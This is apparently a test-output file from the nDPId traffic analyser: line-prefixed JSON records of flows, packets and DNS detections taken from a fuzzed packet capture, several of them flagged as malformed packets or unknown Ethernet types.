+00467{"flow_id":109,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470144,"pkt_ts_usec":612843,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqQAAIARTK3AqAECwKgBAQrEADUANAARKfABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":109,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470146,"pkt_ts_usec":615928,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqUAAIARTKzAqAECwKgBAQrEADUANAARKfABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":109,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470150,"pkt_ts_usec":621463,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqYAAIARTKvAqAECwKgBAQrEADUANAARKfABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":287,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1120470158623,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2757,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470158,"pkt_ts_usec":623642,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaqcAAIARTK7AqAECwKgBAQrFADUAMEUJ3\/AAAAABAAAAAAAAATEBdgEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":287,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1120470158623,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2757,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.v.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00494{"flow_id":110,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470158,"pkt_ts_usec":625217,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CsUARyeF3\/CAAAABAAEAAAAAAXMBMAElcwAyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":288,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":2,"flow_first_seen":1120470158623,"flow_last_seen":1120470158625,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2757,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":293,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1120470170646,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2640,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470170,"pkt_ts_usec":646619,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqwAAIARTKXAqAECwKgBAQpQADUANOIMR\/IBAAABAAAAAAAABKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":293,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1120470170646,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2640,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":294,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1120470171641,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470171,"pkt_ts_usec":641690,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaq0AAIARTKTAqAECwKgBAQrhADUANOIMR\/IBAAABAAAAAAAABF9zaXAEX3RkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":294,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1120470171641,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._tdp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1120470173644,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.37.115","dst_ip":"128.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470173,"pkt_ts_usec":644568,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaq4AAIARTKPAqCVzgKgBAQrGADUANOIMR\/IBABwBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1120470175647,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470175,"pkt_ts_usec":647445,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaq8AAIARTKLAqAECwKgBAQrGADUANOIMR\/IBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAIhAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1120470175647,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":545,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":114,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470179,"pkt_ts_usec":653185,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIarAAAIARTKHAqAECwKgBAQrGADUANOIMR\/IBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJZ3liZXJjaXR5AmRrAAAhAAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":297,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":2,"flow_first_seen":1120470175647,"flow_last_seen":1120470179653,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.gybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1120470170646,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2640,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00661{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1120470173644,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.37.115","dst_ip":"128.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1120470173644,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.37.115","dst_ip":"128.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_first_seen":1120469572841,"flow_last_seen":1120469572842,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2714,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":3,"flow_first_seen":1120469573246,"flow_last_seen":1120469578248,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2715,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1120470171641,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1120470187655,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2759,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470187,"pkt_ts_usec":655341,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEarEAAIARTKTAqAECwKgBAQrHADUAMPwEKPMAAAABAAAAAAAAATEBMAEwAzEyNwdzbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":298,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1120470187655,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2759,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.sn-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":299,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1120470187656,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":37,"flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470187,"pkt_ts_usec":656855,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEAlcwDAqAEBwKgBAgA1CscAR96AKPOAAAABAAEAAAAAATFCMAEwAzEyNwdpbq1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00466{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1120470187656,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":37,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00452{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1120470187656,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":37,"flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1120470187655,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2759,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470199,"pkt_ts_usec":678387,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABBAABIarMAAIARTJ7xqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":303,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":304,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1120470200673,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.22.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470200,"pkt_ts_usec":673416,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqsAAIARTJ3AFgECwKgBAQrIADUANHAIufQBALQBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1120470202676,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470202,"pkt_ts_usec":676324,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIarUAAIARTJzAqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEZXVkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":305,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1120470202676,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip.eudp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470204,"pkt_ts_usec":679215,"pkt_caplen":86,"pkt_type":47872,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69uwBFAABIarYAAIARTJvAqAECwKgBAQrIADUANHAIufQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":306,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":47872} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470207,"pkt_ts_usec":908384,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/zT\/\/\/\/\/AODVAW69CABFAFJOarcAAIARkZbAqAECwKgB\/wCJAIkAOlt+hR0BEAABAAAAAABFIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":307,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470208,"pkt_ts_usec":654850,"pkt_caplen":92,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69JXMAAABOargAAIARS5XAqAECwKgB\/wCJAIkAOlt+hZ0BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVOREJFSkVPQ0FDQUNBQ0GQQUJNAAAgAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":308,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":9587} +00467{"flow_id":118,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470208,"pkt_ts_usec":684923,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIarkAAIARTJjAqAECwKgBAQrIADUANHAIufQBAAABAAAAADYABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":311,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1120470200673,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.22.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 